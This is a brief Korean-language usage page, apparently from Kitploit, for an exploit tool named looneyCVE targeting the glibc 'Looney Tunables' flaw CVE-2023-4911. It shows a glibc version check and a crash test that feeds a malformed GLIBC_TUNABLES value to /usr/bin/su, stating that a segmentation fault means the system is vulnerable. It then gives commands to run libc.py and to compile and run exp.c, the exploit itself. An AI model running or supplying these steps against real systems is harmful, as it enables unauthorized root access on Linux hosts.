looneyCVE — Looney Tunables CVE-2023-4911 | Kitploit

glibc 버전 확인

ldd --version

시스템이 Looney Tunables CVE-2023-4911에 취약한지 확인

env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

Segmentation fault (core dumped)가 발생하면 시스템이 취약한 것입니다.

python3 libc.py

gcc -o exp exp.c
./exp

looneyCVE